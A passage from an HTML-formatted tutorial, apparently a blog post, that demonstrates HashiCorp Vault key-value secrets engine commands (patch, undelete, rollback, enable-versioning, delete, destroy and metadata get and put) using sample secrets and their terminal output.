created_time       2025-12-20T09:26:19.01058Z
custom_metadata    &amp;lt;nil&amp;gt;
deletion_time      n/a
destroyed          &lt;span class="nb"&gt;false
&lt;/span&gt;version            2

&lt;span class="o"&gt;====&lt;/span&gt; Data &lt;span class="o"&gt;====&lt;/span&gt;
Key      Value
&lt;span class="nt"&gt;---&lt;/span&gt;      &lt;span class="nt"&gt;-----&lt;/span&gt;
value    &lt;span class="nv"&gt;aws&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;75ae33a4b907bc87796
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;kv patch&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;To amend additional data to an existing data record, two variants can be used. The &lt;code&gt;put&lt;/code&gt; command requires the complete original data and the new, additional data to be specified. The &lt;code&gt;patch&lt;/code&gt; command instead only requires to pass the additional data. In both cases, the version will be incremented.&lt;/p&gt;

&lt;p&gt;Here is an example that adds a comment to the stored binary data:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; vault kv patch kv2/api-creds &lt;span class="nv"&gt;comment&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"Binary executable for retrieving secrets"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The new version has to following structure:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; vault kv get kv2/api-creds

&lt;span class="c"&gt;# Log messages&lt;/span&gt;
&lt;span class="o"&gt;===&lt;/span&gt; Secret Path &lt;span class="o"&gt;===&lt;/span&gt;
kv2/data/api-creds

&lt;span class="o"&gt;=======&lt;/span&gt; Metadata &lt;span class="o"&gt;=======&lt;/span&gt;
Key                Value
&lt;span class="nt"&gt;---&lt;/span&gt;                &lt;span class="nt"&gt;-----&lt;/span&gt;
created_time       2025-12-20T10:09:59.494854Z
custom_metadata    &amp;lt;nil&amp;gt;
deletion_time      n/a
destroyed          &lt;span class="nb"&gt;false
&lt;/span&gt;version            4

&lt;span class="o"&gt;=====&lt;/span&gt; Data &lt;span class="o"&gt;=====&lt;/span&gt;
Key        Value
&lt;span class="nt"&gt;---&lt;/span&gt;        &lt;span class="nt"&gt;-----&lt;/span&gt;
comment    Binary executable &lt;span class="k"&gt;for &lt;/span&gt;retrieving secrets
binary     7J&lt;span class="se"&gt;\Z&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;kMTtcyM/T
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;kv undelete&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;When a &lt;code&gt;kv delete&lt;/code&gt; command for a specific version was issued, attempts to read the data will only return the metadata section with the additional attribute &lt;code&gt;deletion_time&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Here is an example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; vault kv delete &lt;span class="nt"&gt;-versions&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;4 kv2/api-creds
&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; vault kv get kv2/api-creds

&lt;span class="c"&gt;# Log messages&lt;/span&gt;
&lt;span class="o"&gt;===&lt;/span&gt; Secret Path &lt;span class="o"&gt;===&lt;/span&gt;
kv2/data/api-creds

&lt;span class="o"&gt;=======&lt;/span&gt; Metadata &lt;span class="o"&gt;=======&lt;/span&gt;
Key                Value
&lt;span class="nt"&gt;---&lt;/span&gt;                &lt;span class="nt"&gt;-----&lt;/span&gt;
created_time       2025-12-20T10:09:59.494854Z
custom_metadata    &amp;lt;nil&amp;gt;
deletion_time      2025-12-21T06:42:28.086713Z
destroyed          &lt;span class="nb"&gt;false
&lt;/span&gt;version            4
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The data can be restored, and read attempts succeed once again.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; vault kv undelete &lt;span class="nt"&gt;-versions&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;4 kv2/api-creds

&lt;span class="c"&gt;# Log messages&lt;/span&gt;
Success! Data written to: kv2/undelete/api-creds

&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; vault kv get kv2/api-creds

&lt;span class="c"&gt;# Log messages&lt;/span&gt;
&lt;span class="o"&gt;===&lt;/span&gt; Secret Path &lt;span class="o"&gt;===&lt;/span&gt;
kv2/data/api-creds

&lt;span class="o"&gt;=======&lt;/span&gt; Metadata &lt;span class="o"&gt;=======&lt;/span&gt;
Key                Value
&lt;span class="nt"&gt;---&lt;/span&gt;                &lt;span class="nt"&gt;-----&lt;/span&gt;
created_time       2025-12-20T10:09:59.494854Z
custom_metadata    &amp;lt;nil&amp;gt;
deletion_time      n/a
destroyed          &lt;span class="nb"&gt;false
&lt;/span&gt;version            4

&lt;span class="o"&gt;=====&lt;/span&gt; Data &lt;span class="o"&gt;=====&lt;/span&gt;
Key        Value
&lt;span class="nt"&gt;---&lt;/span&gt;        &lt;span class="nt"&gt;-----&lt;/span&gt;
comment    Binary executable &lt;span class="k"&gt;for &lt;/span&gt;retrieving secrets
value      7J&lt;span class="se"&gt;\Z&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;kMTtcyM/T
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;kv rollback&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;The &lt;code&gt;rollback&lt;/code&gt; command accesses a previous version of a secret, and stores the secrets value at a new, incremented version.&lt;/p&gt;

&lt;p&gt;Here is an example of a rollback to version 2:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; vault kv rollback &lt;span class="nt"&gt;-versions&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;2 kv2/api-creds

&lt;span class="c"&gt;# Log messages&lt;/span&gt;
Key                Value
&lt;span class="nt"&gt;---&lt;/span&gt;                &lt;span class="nt"&gt;-----&lt;/span&gt;
created_time       2025-12-21T06:49:06.178864Z
custom_metadata    &amp;lt;nil&amp;gt;
deletion_time      n/a
destroyed          &lt;span class="nb"&gt;false
&lt;/span&gt;version            5

&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; vault kv get kv2/api-creds

&lt;span class="c"&gt;# Log messages&lt;/span&gt;
&lt;span class="o"&gt;===&lt;/span&gt; Secret Path &lt;span class="o"&gt;===&lt;/span&gt;
kv2/data/api-creds

&lt;span class="o"&gt;=======&lt;/span&gt; Metadata &lt;span class="o"&gt;=======&lt;/span&gt;
Key                Value
&lt;span class="nt"&gt;---&lt;/span&gt;                &lt;span class="nt"&gt;-----&lt;/span&gt;
created_time       2025-12-21T06:49:06.178864Z
custom_metadata    &amp;lt;nil&amp;gt;
deletion_time      n/a
destroyed          &lt;span class="nb"&gt;false
&lt;/span&gt;version            5

&lt;span class="o"&gt;====&lt;/span&gt; Data &lt;span class="o"&gt;====&lt;/span&gt;
Key      Value
&lt;span class="nt"&gt;---&lt;/span&gt;      &lt;span class="nt"&gt;-----&lt;/span&gt;
value    &lt;span class="nv"&gt;aws&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;75ae33a4b907bc87796
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It is not possible to perform a rollback for a previously deleted version.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; vault kv delete &lt;span class="nt"&gt;-versions&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;4 kv2/api-creds

&lt;span class="c"&gt;# Log messages&lt;/span&gt;
Success! Data deleted &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="k"&gt;if &lt;/span&gt;it existed&lt;span class="o"&gt;)&lt;/span&gt; at: kv2/data/api-creds

&lt;span class="c"&gt;# Log messages&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; vault kv rollback &lt;span class="nt"&gt;-version&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;4 kv2/api-creds
Cannot roll back to a version that has been deleted
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;kv enable-versioning&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;As explained in the introductory paragraph, a kv-v1 store does not support versioned secrets. This command effectively turns the v1 to a v2 store.&lt;/p&gt;

&lt;p&gt;Here is an example in which a kv-v1 store is created. First, the store is enabled at path &lt;code&gt;kv&lt;/code&gt;, and two secrets stored.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; vault secrets &lt;span class="nb"&gt;enable&lt;/span&gt; &lt;span class="nt"&gt;-path&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;kv kv-v1

&lt;span class="c"&gt;# Log messages&lt;/span&gt;
2025-12-21T08:41:57.535+0100 &lt;span class="o"&gt;[&lt;/span&gt;INFO]  core: successful mount: &lt;span class="nv"&gt;namespace&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;""&lt;/span&gt; &lt;span class="nv"&gt;path&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;kv/ &lt;span class="nb"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;kv &lt;span class="nv"&gt;version&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"v0.25.0+builtin"&lt;/span&gt;
Success! Enabled the kv-v1 secrets engine at: kv/

&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; vault kv put kv/aws &lt;span class="nv"&gt;api_key&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;@/tmp/aws.scr.txt

&lt;span class="c"&gt;# Log messages&lt;/span&gt;
Success! Data written to: kv/aws

&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; vault kv put kv/encryption_binary &lt;span class="nv"&gt;data&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;@/tmp/bin

&lt;span class="c"&gt;# Log messages&lt;/span&gt;
Success! Data written to: kv/encryption_binary

&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; vault kv list kv

&lt;span class="c"&gt;# Log messages&lt;/span&gt;
Keys
&lt;span class="nt"&gt;----&lt;/span&gt;
aws
encryption_binary

&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; vault kv get kv/aws

&lt;span class="c"&gt;# Log messages&lt;/span&gt;
&lt;span class="o"&gt;=====&lt;/span&gt; Data &lt;span class="o"&gt;=====&lt;/span&gt;
Key        Value
&lt;span class="nt"&gt;---&lt;/span&gt;        &lt;span class="nt"&gt;-----&lt;/span&gt;
api_key    75ae33a4b907bc87796
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Second, &lt;code&gt;kv enable-versioning&lt;/code&gt; is applied, and a stored secret read. As shown, it now includes a metadata section, the sure sign that it is a kv-v2 secret.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; vault kv enable-versioning kv

&lt;span class="c"&gt;# Log messages&lt;/span&gt;
2025-12-21T08:44:53.048+0100 &lt;span class="o"&gt;[&lt;/span&gt;INFO]  core: mount tuning of options: &lt;span class="nv"&gt;path&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;kv/ &lt;span class="nv"&gt;options&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;map[version:2]
Success! Tuned the secrets engine at: kv/

2025-12-21T08:44:53.244+0100 &lt;span class="o"&gt;[&lt;/span&gt;INFO]  secrets.kv.kv_845130a3: collecting keys to upgrade
2025-12-21T08:44:53.244+0100 &lt;span class="o"&gt;[&lt;/span&gt;INFO]  secrets.kv.kv_845130a3: &lt;span class="k"&gt;done &lt;/span&gt;collecting keys: &lt;span class="nv"&gt;num_keys&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;3
2025-12-21T08:44:54.174+0100 &lt;span class="o"&gt;[&lt;/span&gt;INFO]  secrets.kv.kv_845130a3: upgrading keys finished

&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; vault kv list kv

&lt;span class="c"&gt;# Log messages&lt;/span&gt;
Keys
&lt;span class="nt"&gt;----&lt;/span&gt;
aws
encryption_binary

&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; vault kv get kv/aws

&lt;span class="c"&gt;# Log messages&lt;/span&gt;
&lt;span class="o"&gt;==&lt;/span&gt; Secret Path &lt;span class="o"&gt;==&lt;/span&gt;
kv/data/aws

&lt;span class="o"&gt;=======&lt;/span&gt; Metadata &lt;span class="o"&gt;=======&lt;/span&gt;
Key                Value
&lt;span class="nt"&gt;---&lt;/span&gt;                &lt;span class="nt"&gt;-----&lt;/span&gt;
created_time       2025-12-21T07:44:53.342531Z
custom_metadata    &amp;lt;nil&amp;gt;
deletion_time      n/a
destroyed          &lt;span class="nb"&gt;false
&lt;/span&gt;version            1

&lt;span class="o"&gt;=====&lt;/span&gt; Data &lt;span class="o"&gt;=====&lt;/span&gt;
Key        Value
&lt;span class="nt"&gt;---&lt;/span&gt;        &lt;span class="nt"&gt;-----&lt;/span&gt;
api_key    75ae33a4b907bc87796
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;kv delete&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;In an kv-v2 store, the &lt;code&gt;delete&lt;/code&gt; command modifies the data-record of a versioned secret. From that moment on, its metadata obtains a timestamp in the &lt;code&gt;deletion_time&lt;/code&gt; attribute, and performing a &lt;code&gt;kv get&lt;/code&gt; does not show the stored data anymore. This commands results are reversible - issuing a &lt;code&gt;kv undelete&lt;/code&gt; restores the data, as shown above.&lt;/p&gt;

&lt;p&gt;Here is an example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; vault kv delete &lt;span class="nt"&gt;-versions&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;4 kv2/api-creds

&lt;span class="c"&gt;# Log messages&lt;/span&gt;
Success! Data deleted &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="k"&gt;if &lt;/span&gt;it existed&lt;span class="o"&gt;)&lt;/span&gt; at: kv2/data/api-creds

&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; vault kv get &lt;span class="nt"&gt;-version&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;4 kv2/api-creds

&lt;span class="c"&gt;# Log messages&lt;/span&gt;
&lt;span class="o"&gt;===&lt;/span&gt; Secret Path &lt;span class="o"&gt;===&lt;/span&gt;
kv2/data/api-creds

&lt;span class="o"&gt;=======&lt;/span&gt; Metadata &lt;span class="o"&gt;=======&lt;/span&gt;
Key                Value
&lt;span class="nt"&gt;---&lt;/span&gt;                &lt;span class="nt"&gt;-----&lt;/span&gt;
created_time       2025-12-20T10:09:59.494854Z
custom_metadata    &amp;lt;nil&amp;gt;
deletion_time      2025-12-21T06:52:17.001191Z
destroyed          &lt;span class="nb"&gt;false
&lt;/span&gt;version            4
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;kv destroy&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;Similar to &lt;code&gt;kv delete&lt;/code&gt;, this command modifies the data record. Its metadata shows &lt;code&gt;destroyed true&lt;/code&gt;, and read attempts do not return the data anymore. This change is non-reversible - the data is removed permanently.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; vault kv destroy &lt;span class="nt"&gt;-versions&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;5 kv2/api-creds

&lt;span class="c"&gt;# Log messages&lt;/span&gt;
Success! Data written to: kv2/destroy/api-creds
midi :: work/development/vault » vault kv get kv2/api-creds
&lt;span class="o"&gt;===&lt;/span&gt; Secret Path &lt;span class="o"&gt;===&lt;/span&gt;
kv2/data/api-creds

&lt;span class="o"&gt;=======&lt;/span&gt; Metadata &lt;span class="o"&gt;=======&lt;/span&gt;
Key                Value
&lt;span class="nt"&gt;---&lt;/span&gt;                &lt;span class="nt"&gt;-----&lt;/span&gt;
created_time       2025-12-21T06:49:06.178864Z
custom_metadata    &amp;lt;nil&amp;gt;
deletion_time      n/a
destroyed          &lt;span class="nb"&gt;true
&lt;/span&gt;version            5
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Key-Value Secret Engine Metadata Commands
&lt;/h2&gt;

&lt;p&gt;Each kv-v2 secret contains a data and a metadata section. The metadata section of a secret stored in a kv-v2 engine can be accessed and manipulated with the three subcommands &lt;code&gt;get&lt;/code&gt;, &lt;code&gt;put&lt;/code&gt;, and &lt;code&gt;delete&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;code&gt;kv metadata get&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;Issuing a &lt;code&gt;get&lt;/code&gt; returns the complete metadata history of a secret.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; vault kv metadata get kv2/api-creds

&lt;span class="c"&gt;# Log messages&lt;/span&gt;
&lt;span class="o"&gt;====&lt;/span&gt; Metadata Path &lt;span class="o"&gt;====&lt;/span&gt;
kv2/metadata/api-creds

&lt;span class="o"&gt;==========&lt;/span&gt; Metadata &lt;span class="o"&gt;==========&lt;/span&gt;
Key                     Value
&lt;span class="nt"&gt;---&lt;/span&gt;                     &lt;span class="nt"&gt;-----&lt;/span&gt;
cas_required            &lt;span class="nb"&gt;false
&lt;/span&gt;created_time            2025-12-20T09:26:11.531797Z
current_version         5
custom_metadata         &amp;lt;nil&amp;gt;
delete_version_after    0s
last_updated_by         map[actor:root client_id:0DHqvq2D77kL2/JTPSZkTMJbkFVmUu0TzMi0jiXcFy8&lt;span class="o"&gt;=&lt;/span&gt; operation:update]
max_versions            0
oldest_version          0
updated_time            2025-12-21T06:49:06.178864Z

&lt;span class="o"&gt;======&lt;/span&gt; Version 1 &lt;span class="o"&gt;======&lt;/span&gt;
Key              Value
&lt;span class="nt"&gt;---&lt;/span&gt;              &lt;span class="nt"&gt;-----&lt;/span&gt;
created_by       map[actor:root client_id:0DHqvq2D77kL2/JTPSZkTMJbkFVmUu0TzMi0jiXcFy8&lt;span class="o"&gt;=&lt;/span&gt; operation:create]
created_time     2025-12-20T09:26:11.531797Z
deleted_by       &amp;lt;nil&amp;gt;
deletion_time    n/a
destroyed        &lt;span class="nb"&gt;false&lt;/span&gt;

&lt;span class="o"&gt;======&lt;/span&gt; Version 2 &lt;span class="o"&gt;======&lt;/span&gt;
Key              Value
&lt;span class="nt"&gt;---&lt;/span&gt;              &lt;span class="nt"&gt;-----&lt;/span&gt;
created_by       map[actor:root client_id:0DHqvq2D77kL2/JTPSZkTMJbkFVmUu0TzMi0jiXcFy8&lt;span class="o"&gt;=&lt;/span&gt; operation:update]
created_time     2025-12-20T09:26:19.01058Z
deleted_by       &amp;lt;nil&amp;gt;
deletion_time    n/a
destroyed        &lt;span class="nb"&gt;false&lt;/span&gt;

&lt;span class="o"&gt;======&lt;/span&gt; Version 3 &lt;span class="o"&gt;======&lt;/span&gt;
Key              Value
&lt;span class="nt"&gt;---&lt;/span&gt;              &lt;span class="nt"&gt;-----&lt;/span&gt;
created_by       map[actor:root client_id:0DHqvq2D77kL2/JTPSZkTMJbkFVmUu0TzMi0jiXcFy8&lt;span class="o"&gt;=&lt;/span&gt; operation:update]
created_time     2025-12-20T09:27:46.102492Z
deleted_by       &amp;lt;nil&amp;gt;
deletion_time    n/a
destroyed        &lt;span class="nb"&gt;false&lt;/span&gt;

&lt;span class="o"&gt;======&lt;/span&gt; Version 4 &lt;span class="o"&gt;======&lt;/span&gt;
Key              Value
&lt;span class="nt"&gt;---&lt;/span&gt;              &lt;span class="nt"&gt;-----&lt;/span&gt;
created_by       map[actor:root client_id:0DHqvq2D77kL2/JTPSZkTMJbkFVmUu0TzMi0jiXcFy8&lt;span class="o"&gt;=&lt;/span&gt; operation:patch]
created_time     2025-12-20T10:09:59.494854Z
deleted_by       map[actor:root client_id:0DHqvq2D77kL2/JTPSZkTMJbkFVmUu0TzMi0jiXcFy8&lt;span class="o"&gt;=&lt;/span&gt; operation:update]
deletion_time    2025-12-21T06:52:17.001191Z
destroyed        &lt;span class="nb"&gt;false&lt;/span&gt;

&lt;span class="o"&gt;======&lt;/span&gt; Version 5 &lt;span class="o"&gt;======&lt;/span&gt;
Key              Value
&lt;span class="nt"&gt;---&lt;/span&gt;              &lt;span class="nt"&gt;-----&lt;/span&gt;
created_by       map[actor:root client_id:0DHqvq2D77kL2/JTPSZkTMJbkFVmUu0TzMi0jiXcFy8&lt;span class="o"&gt;=&lt;/span&gt; operation:update]
created_time     2025-12-21T06:49:06.178864Z
deleted_by       &amp;lt;nil&amp;gt;
deletion_time    n/a
destroyed        &lt;span class="nb"&gt;true&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;kv metadata put&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;Each secrets' metadata property inherits their configuration from the store itself. These properties can be changed on a per-record base, customizing especially sensitive secrets.&lt;/p&gt;

&lt;p&gt;Following properties are configurable:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;cas-required=&amp;lt;*bool&amp;gt;&lt;/code&gt;: CAS is an acronym for "check-and-set". When this property is enabled, all data-record updates need to include the cas attribute present, and its value needs to be that of the most recent version number. Therefore, this setting is an additional fail-safe to prevent accidental modifications of the secret&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;delete-version-after=&amp;lt;duration&amp;gt;&lt;/code&gt;: Secrets can be configured as self-destructing with this setting. When the duration passes, the most recent version of the secret will be deleted. If version increments happen before the duration expires, older records remain readable.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;max-versions=&amp;lt;int&amp;gt;&lt;/code&gt;: Per default, each secret path can be updated for 10 iterations before older data is purged. This flag modifies this property.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;custom-metadata=&amp;lt;key=value&amp;gt;&lt;/code&gt;: The metadata section of each secret can include arbitrary, custom fields to augment information for system or human user access.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Here is an example of extending the metadata record with custom fields:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; vault kv metadata put &lt;span class="nt"&gt;-custom-metadata&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"comment=API credentials for AWS"&lt;/span&gt; &lt;span class="nt"&gt;-custom-metadata&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"public-key=ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHwxMpyeMvv1THOjNfBubFwtifqWO6nSZj2AS6n0fFoT"&lt;/span&gt; kv2/api-creds

&lt;span class="c"&gt;# Log messages&lt;/span&gt;
Success! Data written to: kv2/metadata/api-creds

&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; vault kv get &lt;span class="nt"&gt;-format&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;JSON kv2/api-creds

&lt;span class="c"&gt;# Log messages&lt;/span&gt;
&lt;span class="o"&gt;{&lt;/span&gt;
  &lt;span class="s2"&gt;"request_id"&lt;/span&gt;: &lt;span class="s2"&gt;"18da20a1-b67b-f781-ae10-a699675f3b80"&lt;/span&gt;,
  &lt;span class="s2"&gt;"lease_id"&lt;/span&gt;: &lt;span class="s2"&gt;""&lt;/span&gt;,
  &lt;span class="s2"&gt;"lease_duration"&lt;/span&gt;: 0,
  &lt;span class="s2"&gt;"renewable"&lt;/span&gt;: &lt;span class="nb"&gt;false&lt;/span&gt;,
  &lt;span class="s2"&gt;"data"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="s2"&gt;"data"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
      &lt;span class="s2"&gt;"api_key"&lt;/span&gt;: &lt;span class="s2"&gt;"75ae33a4b907bc87796&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;,
    &lt;span class="s2"&gt;"metadata"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
      &lt;span class="s2"&gt;"created_time"&lt;/span&gt;: &lt;span class="s2"&gt;"2025-12-21T09:36:44.286357Z"&lt;/span&gt;,
      &lt;span class="s2"&gt;"custom_metadata"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="s2"&gt;"comment"&lt;/span&gt;: &lt;span class="s2"&gt;"API credentials for AWS"&lt;/span&gt;,
        &lt;span class="s2"&gt;"public-key"&lt;/span&gt;: &lt;span class="s2"&gt;"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHwxMpyeMvv1THOjNfBubFwtifqWO6nSZj2AS6n0fFoT"&lt;/span&gt;
      &lt;span class="o"&gt;}&lt;/span&gt;,
      &lt;span class="s2"&gt;"deletion_time"&lt;/span&gt;: &lt;span class="s2"&gt;""&lt;/span&gt;,
      &lt;span class="s2"&gt;"destroyed"&lt;/span&gt;: &lt;span class="nb"&gt;false&lt;/span&gt;,
      &lt;span class="s2"&gt;"version"&lt;/span&gt;: 4
    &lt;span class="o"&gt;}&lt;/span&gt;
  &lt;span class="o"&gt;}&lt;/span&gt;,
  &lt;span class="s2"&gt;"warnings"&lt;/span&gt;: null,
  &lt;span class="s2"&gt;"mount_type"&lt;/span&gt;: &lt;span class="s2"&gt;"kv"&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The following experiment shows how the duration setting auto-deletes secrets. First, the duration is set to 1min. Second, a new version is created, and the return value shows a deletion timestamp in the future.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; vault kv metadata put &lt;span class="nt"&gt;-delete-version-after&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1m kv2/api-creds

&lt;span class="c"&gt;# Log messages&lt;/span&gt;
Success! Data written to: kv2/metadata/api-creds

&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; vault kv put kv2/api-creds &lt;span class="nv"&gt;api_key&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;@/tmp/aws.scr.txt

&lt;span class="c"&gt;# Log messages&lt;/span&gt;
&lt;span class="o"&gt;===&lt;/span&gt; Secret Path &lt;span class="o"&gt;===&lt;/span&gt;
kv2/data/api-creds

&lt;span class="o"&gt;=======&lt;/span&gt; Metadata &lt;span class="o"&gt;=======&lt;/span&gt;
Key                Value
&lt;span class="nt"&gt;---&lt;/span&gt;                &lt;span class="nt"&gt;-----&lt;/span&gt;
created_time       2025-12-21T09:43:58.324523Z
custom_metadata    map[comment:API credentials &lt;span class="k"&gt;for &lt;/span&gt;AWS public-key:ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHwxMpyeMvv1THOjNfBubFwtifqWO6nSZj2AS6n0fFoT]
deletion_time      2025-12-21T09:44:58.324523Z
destroyed          &lt;span class="nb"&gt;false
&lt;/span&gt;version            6
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Once the time passed, the record is deleted. Executing a &lt;code&gt;undelete&lt;/code&gt; command makes the secret available again.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;vault kv get kv2/api-creds

&lt;span class="c"&gt;# Log messages&lt;/span&gt;
&lt;span class="o"&gt;===&lt;/span&gt; Secret Path &lt;span class="o"&gt;===&lt;/span&gt;
kv2/data/api-creds

&lt;span class="o"&gt;=======&lt;/span&gt; Metadata &lt;span class="o"&gt;=======&lt;/span&gt;
Key                Value
